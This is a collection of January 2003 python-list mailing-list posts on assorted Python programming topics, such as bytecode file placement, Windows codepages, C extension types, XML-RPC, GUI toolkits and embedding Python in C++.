From: DennisR at dair.com (Dennis Reinhardt)
Date: Tue, 28 Jan 2003 14:39:46 GMT
Subject: PEP 304 - Controlling generation of bytecode files
References: <mailman.1043707550.22103.python-list@python.org>
Message-ID: <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>

>     http://www.python.org/dev/peps/pep-0304.html

I got a 404 error.  This URL works for me:
http://www.python.org/peps/pep-0304.html

Why not "pyc_dir" as a shorter name?

This PEP does not address explicitly how the user can change the env.
variable during startup. Suppose I code in my main module:

    sys.pythonbytecodebase = ""
    import file01
    import file02
    sys.pythonbytecodebase = "outdir/subdir"
    import file03
    ....  #etc.

does this give file by file control?

What I would really want is directory by directory control.  I am importing
from the following example structure

    dirA
      +--dirB

I would like a clean way to treat pyc files in dirA one way and dirB another
without chasing down every import.  For example:

    sys.pyc_dir = {"dirA":"", dirB:"output/dir/path", ".":"some/other/path"}

once at the beginning would give all the control I would want.  Perhaps
there is a way to incorporate file by file control in a single statement
also.
--

Dennis Reinhardt

DennisR at dair.com
http://www.dair.com





From python at dylanreinhardt.com  Sun Jan 19 13:24:41 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sun, 19 Jan 2003 10:24:41 -0800
Subject: __parent__ - like attribute [resolved]
In-Reply-To: <20030119065946.GD8210@frobozz.local>
References: <5.1.1.6.0.20030118201925.01d51470@www.dylanreinhardt.com>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <5.1.1.6.0.20030118201925.01d51470@www.dylanreinhardt.com>
Message-ID: <5.1.1.6.0.20030119101550.01d3e320@www.dylanreinhardt.com>

At 10:59 PM 1/18/2003, Andrew Bennetts wrote:
>For this you probably want to use Acquisition.Explicit or
>Acquistion.Implicit, but this is essentially unrelated to persistence.

Oh... duh.  That's exactly what I want to do.  :-)

Funny, ExtensionClass/Acquisition was the inspiration for the behavior I 
want, but somehow I didn't think to use them.

Thanks for the push in the right direction.

Dylan





From jfontain at free.fr  Thu Jan  2 04:17:53 2003
From: jfontain at free.fr (Jean-Luc Fontaine)
Date: 2 Jan 2003 01:17:53 -0800
Subject: ANNOUNCE: tclpython-3.0
Message-ID: <4244613b.0301020117.611ca952@posting.google.com>

### CHANGES ###

--- version 3.0 ---
- added the exec command
- no longer requires a patched Python core library

### README ###

tclpython version 3.0: a Python package for Tcl

This package allows the execution of Python (version 2.2 or above) code from a
Tcl interpreter, as in:


    package require tclpython
    set interpreter [python::interp new]
    $interpreter exec {print("Hello World")}
    $interpreter eval 3/2.0
    python::interp delete $interpreter


You can actually create several Python interpreters this way, if the
tclpython package was linked against a Python library compiled with
threads support, otherwise only 1 Python interpreter can exist at a
time.

This library is free software; you can redistribute it and/or modify
it under the terms of the GNU Library General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.

This library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

###

you may find it now at my homepage:

http://jfontain.free.fr/tclpython-3.0.tar.gz
http://jfontain.free.fr/tclpython-3.0-1.i386.rpm
http://jfontain.free.fr/tclpython-3.0-1.spec
http://jfontain.free.fr/tclpython.htm

Jean-Luc Fontaine (http://jfontain.free.fr/)



From martin at v.loewis.de  Wed Jan 22 03:15:31 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 22 Jan 2003 09:15:31 +0100
Subject: os.system and unicode arguments fail on Win32
References: <d6kk0b.vfh1.ln@boundary.tundraware.com> <m3bs2a8409.fsf@mira.informatik.hu-berlin.de> <9dqk0b.aii1.ln@boundary.tundraware.com> <m365si7z7v.fsf@mira.informatik.hu-berlin.de> <651l0b.ipj1.ln@boundary.tundraware.com>
Message-ID: <m3el758usc.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

> (Clearly) I am not too familiar with this, so I ran the commands
> as you suggest and got ('en_US', 'cp1252') just as you've explained.
> So... where does 'mcbs' come from?  That is, why is the translation
> from unicode to bytestring not:
> 
>                 y = encode(unicode-var, "cp1252")
> 
> or conversely
> 
>                 u = unicode(byte-var, "cp1252")

"mbcs" is a codec which internally does MultiByteToWideChar with
CP_ACP. I.e. it converts to the "ANSI code page", which is a code page
alias that depends on the Windows installation. It defaults to some
Microsoft provided factory default, which is depending on the language:

code page region                 
1250      Central Europe         
1251      Cyrillic               
1252      Western Europe         
1253      Greek                  
1254      Turkish                
1255      Hebrew                 
1256      Arabic                 
1257      Baltic                 
1258      Vietnamese             

874       Thai                   
932       Japan                  
936       Simplified Chinese     
949       Korea                  
950       Traditional Chinese    

On WXP, this default can be changed by the Administrator. So encoding
Unicode strings with cp1252 is only correct on a Western-Europe
installation of Windows, elsewhere it would give confusing results.

In addition, the "cp1252" codec is a Python-provided one. Python
currently does not provide CJK codecs, so you can't use, say "cp932" as
an encoding name on Windows. However, if cp932 happens to be the ANSI
code page, then you can use "mbcs" to access that encoding.

Regards,
Martin



From ajw126NO at SPAMyork.ac.uk  Sat Jan 25 11:18:50 2003
From: ajw126NO at SPAMyork.ac.uk (Andrew Wilkinson)
Date: Sat, 25 Jan 2003 16:18:50 -0000
Subject: Printing repeatedly on same line
References: <mailman.1043508704.13358.python-list@python.org>
Message-ID: <3e32b8eb$0$156$65c69314@mercury.nildram.net>

Jason Morgan wrote:
> How do I print (stdout) to the same line repeatedly? I want to offer a
> status bar for a script. I have tried the following:
>
> def statprint(s):  # s is a string
> import sys
> sys.stdout.write(s+" "*(78-len(s))+"\r")
>
> I got this from this ASPN page:
>
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146038
>
> which seemed to be refering to Windows (I'm writing for Linux/*BSD). I
> have tried the above function, but it prints in the same manner as
> 'print' does.
>
>
> Thanks for the help in advance.
>
> Cheers,
> Jason

Try just adding a semicolon at the end of the print statement.
For example

print 1,
print 2

will give you
1 2

HTH,
Andrew Wilkinson





From strombrg at tesuji.nac.uci.edu  Mon Jan  6 17:05:21 2003
From: strombrg at tesuji.nac.uci.edu (Dan Stromberg)
Date: 6 Jan 2003 22:05:21 GMT
Subject: fixed point vs fixed decimal
Message-ID: <avcuj1$6a7$1@news.service.uci.edu>

If I remember my ibm 360 assembler course correctly, fixed point is
not necessarily decimal.  I believe you folks mean fixed decimal, or
perhaps packed decimal, not fixed point.  Fixed point would probably
more commonly be expected to be binary, or at least could ambiguously
be binary or not.

Thanks.

-- 
Dan Stromberg                                               UCI/NACS/DCS



From gradha at terra.es  Sun Jan 19 04:34:54 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Sun, 19 Jan 2003 10:34:54 +0100
Subject: Overloading methods in C API
In-Reply-To: <slrnb2k5qs.93i.grante@localhost.localdomain>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain>
Message-ID: <20030119093454.GB28797@pedos.es>

On Sun, Jan 19, 2003 at 03:06:09AM +0000, Grant Edwards wrote:
> The "+" operator can mean several things:
> 
>  integer addition
>  pointer addition
>  floating point addition
>  unary postive
> [...]
> Back when I studied language design, that was called "operator
> overloading".
> 
> Perhaps the definition has changed since then -- it was 15
> years ago.

Aah... thanks for your (and Eric's) answer. I understand your point
of view now. So basic things, and never had thought of them! You
are right in the "15 years ago" sentence, nowadays teachers are so
worried about carefully explaining C++'s class operator overloading
as a feature that they forget about the basics.




From mwh at python.net  Fri Jan 31 10:49:32 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 15:49:32 GMT
Subject: Extension programming question (2.2)
References: <mailman.1043966096.30227.python-list@python.org>
Message-ID: <7h3lm11wc9w.fsf@pc150.maths.bris.ac.uk>

Ken Seehof <kseehof at neuralintegrator.com> writes:

> Presumably related to this, is another problem.  In the new()
> function for c_ni_object, the 'type' argument is set to c_ni_object
> when 'x' is instantiated as x = ni_object() 

You sure?  It's not in my tests.

> Here's my code (stripped down and tested) which exhibits the
> behavior described above:
> 
> 
> #include "Python.h"
> 
> typedef struct {
> 	PyObject_HEAD
> } c_ni_object__object;
> 
> staticforward PyTypeObject c_ni_object__type;     /* shared type-descriptor */
> 
> static PyObject *
> c_ni_object__new(PyTypeObject *type, PyObject *args, PyObject *kwds)
> {
>      c_ni_object__object *self = PyObject_NEW(c_ni_object__object,
>      &c_ni_object__type);

I just changed this to PyObject_NEW(c_ni_object__object, type) and it
"worked" (as in, I could create an instance, but got a core dump some
time later).  I think you need to set tp_alloc to PyType_GenericAlloc
and call that instead:

     c_ni_object__object *self = 
            (c_ni_object__object*)type->tp_alloc(type, 0);

The file Modules/_randommodule.c in Python CVS seems to be quite a
nice example of a minimal-ish C base class.

HTH,
M.

-- 
  The gripping hand is really that there are morons everywhere, it's
  just that the Americon morons are funnier than average.
                              -- Pim van Riezen, alt.sysadmin.recovery



From Mongryong at sympatico.ca  Wed Jan 22 18:41:15 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 22 Jan 2003 18:41:15 -0500
Subject: Python vs. Matlab
Message-ID: <1043278875.1513.39.camel@refugeeMedia>

Python vs Matlab (or any other similar language).

Any opinions on this comparison?  Benchmarks? Functionality?

One big up for Python is that it's FREE!







From kirk at strauser.com  Sat Jan 25 18:20:04 2003
From: kirk at strauser.com (Kirk Strauser)
Date: Sat, 25 Jan 2003 23:20:04 GMT
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <87ptqkj01q.fsf@pooh.honeypot.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2003-01-22T11:08:46Z, "Thomas Weholt" <2002 at weholt.org> writes:

> Some way of removing the extra linefeed-characters added under windows,
> converting tabs to spaces etc.

Seriously?  Emacs has that all built-in.  You can even write a very short
elisp function to strip the extra linefeeds and rewrite tab characters and
add that to the list of functions that Emacs executes after loading a Python
program (probably in something like python-mode-hook) so that every file you
ever open will be cleaned up properly.

I'm sure that some of the commercial IDEs have nice things to offer, but
Emacs can probably handle much of what you're looking for already.
- -- 
Kirk Strauser
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+MxoE5sRg+Y0CpvERAp8MAJwOzJ1OVqohOtamuN77bapgpk/tHgCfXv67
DQz+F1M6AqxB7Rx72e7HugU=
=IdR0
-----END PGP SIGNATURE-----



From BPettersen at NAREX.com  Mon Jan  6 14:25:55 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 12:25:55 -0700
Subject: Python vs .Net
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEA7@admin56.narex.com>

> From: Dave Brueck [mailto:dave at pythonapocrypha.com] 
[...]
> In talking to VB developers I sometimes get the feeling that 
> they believe all or nearly all programs have a GUI. Is that 
> just a misconception of mine or is it generally true? Does 
> the same also apply to .Net developers? To be honest, very 
> few of my programs have a GUI, and even in the ones that do 
> have a GUI the real "meat" of the program is rarely the GUI 
> anyway. Of course it is important to be able to build 
> programs rapidly, but in determining which tool (language) to 
> use, I generally tend to weight GUI-building capabilities 
> below, say, code maintainability (yes there are exceptions, 
> but this current discussion is about generalities).
[...]

It holds true for a majority of the C# developers I know also. In my
company (and I'm assuming this is the norm) we hire Interactive
Presentation Layer (IPL) programmers with a completely different set of
criteria. Much emphasis is placed on graphic design skills, and a little
less emphasis is placed on theoretical CS knowledge and minute
programming language trivia. Personally, I haven't created a gui in over
three years which makes me very happy (partly because my graphical
design and color coordingation skills are laughable -- or was that
laughed at..? <g>).

-- bjorn





From postmaster at 127.0.0.1  Tue Jan  7 16:43:17 2003
From: postmaster at 127.0.0.1 (Alan Hughes)
Date: Tue, 07 Jan 2003 21:43:17 +0000
Subject: Help required to get PyQt working on Linux
Message-ID: <avfhgh$ndf$1$8300dec7@news.demon.co.uk>

I'm very new to Python, so I'm hoping someone will be able to help me.

Platform: Mandrake Linux 9.0, Python 2.2 (vanilla RPM from Mandrake), QT 
3.0.5 (vanilla RPM from Mandrake), PyQt 3.5 (RPM from Mandrake contribs).

PyQt installed OK and Python runs. However whenever Python sees the command:

    import qt

it complains about an undefined symbol. The symbol appears to be a standard 
Qt one, so I'm assuming that provided I can get Python to load the Qt 
dynamic libraries (located in /usr/lib/qt3/lib) I'll be OK. The problem is, 
how can I get Python to do this (given that PyQt is being loaded using 
dlopen() which does not perform automatic linking of unresolved symbols 
AFAIK).

Thanks in advance

Alan



From LogiplexSoftware at earthlink.net  Thu Jan 23 12:12:20 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 23 Jan 2003 09:12:20 -0800
Subject: python + wxPython
In-Reply-To: <3E307546.5010208@removethis.free.fr>
References: <mailman.1043118157.17497.python-list@python.org>
	 <mO3X9.460$k43.91047@news.uswest.net> <3E307546.5010208@removethis.free.fr>
Message-ID: <1043341940.18175.291.camel@software1.logiplex.internal>

On Thu, 2003-01-23 at 15:05, laotseu wrote:
> Kevin Altis wrote:
> 
> > "Victor" <victor at argilent.com> wrote in message
> > news:mailman.1043118157.17497.python-list at python.org...
> > 
> >>I have intalled the regular python distribution for windows, but I want
> >>to try out pyCrust, and it comes with wxPython, do I have to uninstall
> >>python and then install wxpython? If I install wxpython over the regular
> >>python will there be problems?
> >>
> >>- Vic
> > 
> > You don't want to uninstall Python. wxPython is a package and it will get
> > installed in the Python site-packages directory. The only thing you need to
> > make sure of is that your version of Python and wxPython match, so if you
> > are using Python 2.2, you want the wxPython 2.4.0.1 for Py22.
> > 
> > ka
> > 
> 
> And you'll need the correct version of wxWindows too !-)

You don't need wxWindows unless you are planning on recompiling
wxPython.  Otherwise you can just use the binaries provided on the
wxPython website.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From ark at gmx.net  Thu Jan 16 16:03:12 2003
From: ark at gmx.net (Arne Koewing)
Date: Thu, 16 Jan 2003 22:03:12 +0100
Subject: Syntax modification idea: (classmethods, properties locking...)
Message-ID: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>

Hi!
After reading some treads about 
"A Hygienic Macro System in Python"
http://mail.python.org/pipermail/python-dev/2002-March/021369.html
http://mail.python.org/pipermail/python-dev/2002-March/021467.html
i've had an idea:

why not extending the def statement?

class bar(object):
    def foo(class,arg1) is classmethod:
        pass
    def bar(arg1) is staticmethod:
	pass
    
def X(...) is Y:   #don't know if 'is' is realy a goog idea...
  <<block>>

would define <<block>> as function (as usual)
and then pass it do Y (a callable) that may return 
a modified version which will be assigned to X

let's try with an user-defined "pseudo-locking"
----
def lockedwith(thelock):
	def wraper(lock,fun,arguments, keywords):
		print  lock + ".acquire()"
		try:
                    return fun(*arguments,**keywords)
		finally:
			print lock + ".release()"
	return lambda fun:lambda  *args,**keys:wraper(thelock,fun,args,keys)
	
	#i think some object would be better... 
----
classic usage:
 >>> def g(arg):
	 print "working..."
 >>> stonelocked=lockedwith("stone")
 >>> g = stonelocked(g)

with syntax modification:

def g(arg) is lockedwith("stone"):
    #do stuff while keeping the lock...
    print "working..."

perhaps with the possibility to chain?
	
def quux(arg1) is staticmethod,lockedwith("token"):
	pass

what do you think? 

arne



From aleax at aleax.it  Thu Jan 30 12:23:54 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 18:23:54 +0100
Subject: Implicit lists
In-Reply-To: <20030130180017.U10804@prim.han.de>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de>
Message-ID: <200301301823.54257.aleax@aleax.it>

On Thursday 30 January 2003 06:00 pm, holger krekel wrote:
   ...
> > Alas, doesn't meet specs...:
>
> I presume you refer to this part
>
> [dale]
>     In other words, I want to be able to treat an argument of arbitrary
>     type as a list of 1 if it isn't already a list.
>
> which isn't an overly explicit specification.  In particular,
> it doesn't imply that strings are to be excluded.

It says that strings are to be treated as a list of 1.  Not sure what
you mean by "excluded".  The OP also gave an example that did
not meet his own specs (he went out of his way to treat _tuples_
NOT as lists of one item).

> But i agree that grouping into 'non-iterables except strings and
> unicode' on one side and everything else on the other side most
> often makes sense.

Yes, as long as you also include "instances of UserString and
the like" among "strings and unicode".  Personally, I prefer to
talk of "string-like objects", and my favourite way to check if
an object is string-like is to see if thatobject+'' raises an
exception -- if it doesn't, it's stringlike enough for me.


Alex





From anthony at interlink.com.au  Thu Jan 30 23:35:59 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Fri, 31 Jan 2003 15:35:59 +1100
Subject: ps interface or module 
In-Reply-To: <b1cr9s$hc5$1@news.asu.edu> 
Message-ID: <200301310435.h0V4Zxj26856@localhost.localdomain>

>>> David Bear wrote
> is there a python module or interface to the system process list?  I really 
> want to avoid calling ps -ax from a subshell and parsing the output.  I 
> can't seem to find anything in the python essential reference.
> 
> any pointers?  (running on unix)

If you're running a system with /proc, you can parse that. I have a simple
module that processes Solaris /proc entries that I can post if it's useful
to people.

Anthony




From ykingma at accessforall.nl  Sat Jan 11 03:57:12 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sat, 11 Jan 2003 09:57:12 +0100
Subject: optimum way of assigning to a string slice
References: <f57664b9.0301101820.283596a@posting.google.com>
Message-ID: <3e1fe32c$0$94304$e4fe514c@dreader4.news.xs4all.nl>

Jonathan P. wrote:

> I'm creating a text widget input control in the form of a
> class, called EditField, and it has, as a class member, a string
> EditField.content, containing the current input.  Everytime
> the user types in a new character, I have to modify EditField.content
> to reflect the letter the user typed in.
> 
> The clearest way I can think of doing this would be something like:
> 
> self.content[cursorpos:cursorpos+1]=keypress
> 
> Of course, this won't work because of string immutability.
> Thus the workaround would be to create a newstring:
> 
> self.content=self.content[0:cursorpos]+keypress+self.content[cursorpos+1:]
> 
> Is there a better, more efficent way?

When you need to do many such operations you can represent the whole
string by a list of substrings and delay the concatenation (the + operator
in your example) until you need the string itself. You can then slice
the list, but you'll have to take into account the lenghts of the 
substrings, evt. replacing them by other substrings.
Afterwards you can ''.join(substrings) instead of using +.

In this case I don't think using a list of substring is more efficient.

There are several implementations of mutable strings for python (iirc
there is one in the CSstringIO module), but they don't seem to gain
enough popularity to make it into a standard type.
In case you use jython, you can also resort to java's StringBuffer,
which is a mutable string.

Have fun,
Ype

-- 
email at xs4all.nl



From fredrik at pythonware.com  Wed Jan  1 13:02:10 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 01 Jan 2003 18:02:10 GMT
Subject: Tkinter: Distinguishing different
References: <6nriua.u17.ln@boundary.tundraware.com>
Message-ID: <C2GQ9.3949$LY2.220973@newsc.telia.net>

Tim Daneliuk wrote:
> I have an existing program that binds a feature to:
>
>          <Control-Double-ButtonRelease3>
>
> I now want to add a new feature which binds to:
>
>          <ButtonRelease-3>
>
> The problem is that the handler for the second is always called even
> when I am pressing the key combination for the first. Obviously, the
> "ButtonRelease-2" is checked by the message dispatcher before the
> Control ... combination is checked.

Not really -- when the *first* click arrives, the dispatcher doesn't know
that another click will arrive some time in the future.

I suggest adding a dummy Control-ButtonRelease3 binding.

</F>





From covino at merate.mi.astro.it  Fri Jan 31 06:20:08 2003
From: covino at merate.mi.astro.it (Stefano Covino)
Date: Fri, 31 Jan 2003 12:20:08 +0100
Subject: file access
Message-ID: <b1dm77$12e139$1@ID-145579.news.dfncis.de>

I apologize for my trivial question. I am still a "pyhton" beginner...

The problem is anyway well known. 

I have two or more pyhton scripts running independently. These script may 
access the same files to store or retrieve data. As usual, I would need to 
avoid any simultaneous access and I can solve the problem creating some 
semaphore files. 

I wonder if the python library offers some specific tool to deal with this 
problem.


Thanks,

        Stefano

 



From mwh at python.net  Tue Jan 14 09:24:27 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 14:24:27 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com> <slrnb1c5vc.3rq.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <7h38yxnsta7.fsf@pc150.maths.bris.ac.uk>

Gerhard H?ring <gerhard.haering at gmx.de> writes:

> Check to Upload and Attach a File [ ]
> [                    ] [Browse]
> 
> You *need* to check the "Check to ..." checkbox, then use the 'Browse'
> button to upload your file.
> 
> If you don't check the checkbox, your upload won't appear.

Even if you do, at the moment you can't seem to attach a file to a
patch when you create it.  You have to go back after it's created and
attach it.  I don't know why, either.

Cheers,
M.

-- 
  My hat is lined with tinfoil for protection in the unlikely event
  that the droid gets his PowerPoint presentation working.
                               -- Alan W. Frame, alt.sysadmin.recovery



From tim.one at comcast.net  Sun Jan 19 00:09:33 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 19 Jan 2003 00:09:33 -0500
Subject: time.sleep() under Windows
In-Reply-To: <b0akj2$n54r4$1@ID-136433.news.dfncis.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIECJDJAB.tim.one@comcast.net>

[Tim, on Ctrl+C interrupting time.sleep() in 2.3 on Win2K]
> ...
> It was also enabled on Win9x, but I tested that and it caused
> system (OS) instability there.  We're never going to know why, so the
> ability to interrupt sleep() on Win9x was ripped out again.

[Alex K. Angelopoulos]
> Just a guess, since I don't know Python well enough to trace back
> the underlying API calls, but the underlying system time calls on
> Win9x go back to an actual BIOS Get Clock call of some kind - that's
> one of the reasons that the resolution of most simple timer functions
> on Win9x systems are limited to about 55 milliseconds.  I wouldn't
> be surprised if it is never available to anything else after the
> break. NT/2000/XP appear to do something completely different which
> emulates the call.

That would have been a good explanation had I been telling the truth.  But
turns out I was lying:  there was no problem letting Ctrl+C interrupt
time.sleep() under any flavor of Windows, and 2.3 supports it.

What *was* ripped out on Win9x was the also-new ability to let Ctrl+C
interrupt processes created by the os.popen() family.  In 2.2 and before,
CREATE_NEW_CONSOLE was always passed (on Windows) to CreateProcess(), and
that stopped Ctrl+C in the original console window from being seen in
spawned children.  On Win2K Mark (Hammond) was able to get away with not
passing CREATE_NEW_CONSOLE, but on Win9x not passing CREATE_NEW_CONSOLE
sporadically caused "mystery error boxes" to pop up, from somewhere in the
bowels of the Win9x virtual memory system, complaining about internal
resource conflicts and warning that the system had likely become unstable
(which it often was then).  Spawning processes is a nightmare on Win9x, and
no bug in that area has ever been tracked to a fully satisfactory
conclusion.  At this point, "get a real OS" is the Company Line.





From gerhard.haering at gmx.de  Wed Jan  8 20:32:28 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 9 Jan 2003 01:32:28 GMT
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org>
Message-ID: <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de>

Rick Richardson wrote:
> 
> I'm currently reviewing technologies for a large, gui intensive application.
> We're planning on having a template driven dynamic gui system, but having
> written Java gui's in the past I'm concerned that python may share java's
> affliction and be slower than molassses in January.
>  
> Can anyone out there comment on the relative speed of Java's gui libs and
> any one of the python gui libs?

Sure I can. Try it out.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From hwlgw at hotmail.com  Fri Jan 24 06:08:58 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 24 Jan 2003 03:08:58 -0800
Subject: Something like asynchronous XML-RPC possible?
Message-ID: <cb035744.0301240308.25034fed@posting.google.com>

I like the XMLRPC support in Python very much.   Thanks Fredrik Lundh
and Brian Quinlan and others I forget!  Using xmlrpclib.py and
SimpleXMLRPCServer.py you can set up a system with distributed and
replaceble and independent processes that can call each others'
operations just like they call a local object.

This means you can do::
  
  p1 = remoteprocess(url, portnumber)
  result = p1.method1(params)

after you did start an XMLRPC server on http://url:portnumber and
registered a class that has ``method1``.  Note that the caller is
blocking until it receives a return value from ``p1``.

Under the hood the processes communicate by means of TCP.  But now my
boss wants them to communicate by means of UDP!  Any ideas how to
accomplish this?  It would mean that operation or method calls are no
longer possible, only communication via events will be there.  The
desired usage pattern would be::

  p2 = remote_async_process(url, portnumber)
  p2.sendEvent(event)

where the event could be just a string for now.  Later it could be
useful to have objects as events, but I could also just turn a string
into any object I need.  What is important is that the caller is *not
blocking* while waiting for a return value from ``p2``.

If you know a solution please let me know.  Especially if the solution
only uses standard Python libraries.  I think it could be done using
just xmlrpclib and SimpleHTTPServer with a UDP request handler or
something, but its usage patterns are confusing me and if you have
done this already please let me know!


-- 
If it works, leave it alone -- there's no need to understand it.  If
it fails, try to fix it -- there's no time to understand it.
                - Bill Pfeifer



From sna at bomb20.darkdomain  Tue Jan 21 19:49:31 2003
From: sna at bomb20.darkdomain (Archeopteryx)
Date: Wed, 22 Jan 2003 00:49:31 GMT
Subject: Rewriting mail headers
Message-ID: <slrnb2rqgj.1ef.sna@localhost.localdomain>

Hello everybody,
I'm currently developing an automated spam complainer which is still in
its infancy.

The program parses the mail message and makes some checks trying to
identify the origin of the message among the fake header lines.

For diagnostic purposes I need to rewrite the subject field of the parsed
message adding some characters.

Is there a way (I'm using the email package) to do this with some python
module?

Thanks in advance

A.




From pythonhda at yahoo.com.replacepythonwithlinux  Tue Jan 14 14:15:33 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Tue, 14 Jan 2003 14:15:33 -0500
Subject: flock experience
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
Message-ID: <20030114141533.5d324d3a.pythonhda@yahoo.com.replacepythonwithlinux>

If you're on a *nix system, do you have access to syslogd?
It's not hard to create a log file just for your program and python has a module (syslog) for it.

On Tue, 14 Jan 2003 00:47:16 +0000
Robin Becker <robin at jessikat.fsnet.co.uk> wrote:

> has anybody good experience using file locking in python. I have the
> typical problem of opening a log file for a short time (cgi environment)
> in a multiprocess world. So far I think we have been lucky, but our 8
> machine front end is contracting to one machine, just for us, so the
> collision probabilities are rising. I see there's a recipe in the pcb,
> but what happens to locked out processes etc etc.
> -- 
> Robin Becker



From martin at v.loewis.de  Fri Jan 24 11:14:39 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 17:14:39 +0100
Subject: killing thread ?
In-Reply-To: <7xn0lqbkmh.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com> <7xn0lqbkmh.fsf@ruckus.brouhaha.com>
Message-ID: <3E31666F.8060605@v.loewis.de>

Paul Rubin wrote:
> The interpreter loop can check whether there's a kill pending for
> any other threads (that's just looking at a flag that will be false
> almost all the time).  

No need for that: the implementation of thread.cancel could do that 
right away. However, it cannot know whether the target thread is in a 
blocking system call - nor could the interpreter loop of another thread 
know for sure.

> If there's a kill pending, the interpreter sends a signal to
> the target thread.  That should unblock any blocked i/o.

Which signal specifically?

> A global signal handler then raises an exception in the
> target thread which gets handled the usual way.

What if the signal is blocked?

> That does leave the target thread able to catch the exception
> and keep looping.  Even still, it improves on the present situation.

How do I do that on Windows? On HP-UX? On Irix? With Gnu threads?

Regards,
Martin





From sxa at fluent.com  Fri Jan  3 12:40:21 2003
From: sxa at fluent.com (Sebastien Auclair)
Date: Fri, 3 Jan 2003 12:40:21 -0500
Subject: Embeding Python... (Please help !)
Message-ID: <av4htb$jt4$1@duck.Fluent.COM>

Our problem is so trivial, it's crazy that we can't find anything on the net
that would help us.

We are trying to use the function PyArg_Parse and others in order to simply
get a correctly casted pointer to a Python Class instance.

That python class is in fact a subclass of a C++ class defining an
interface. Our python file knows this interface class through SIP bindings.

There are some examples of how we can get simple C type values (strings,
int, float...) from Python types but nothing on pointers to class... We
tried to use the O& option but it doesn't work.

EXAMPLE :

<<<<<<< PYTHON FILE >>>>>>>>>>>>>
import Interfaces # From sipping

def CreateInstance ():
    return Server ()

class Server (Interfaces.interface):
        def __init__(self):
                Interfaces.interface.__init__(self)


<<<<<<<<< INTERFACE .h DEFINITION FILE>>>>>>>>>>>
class interface{

    interface();
    ~interface();
    someFunction();
};
<<<<<<<< MAIN APPLICATION >>>>>>>

#include "Interfaces.h"
...
........python stuff to load and compile the python file...this works
fine... we tested it !
...

PyObject * m_pylib = PyImport_ExecCodeModule( const_cast<char*>("server"),
code );
Py_INCREF( m_pylib );

PyObject * mdict = PyModule_GetDict(m_pylib);
PyObject  * func1 = PyDict_GetItemString(mdict, "CreateInstance");
PyObject * v1 = PyObject_CallObject(func1,NULL);

interface * interf = (interface*) v1;  // OF COURSE THIS DOESN'T WORK BUT
YOU GET THE IDEA....

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

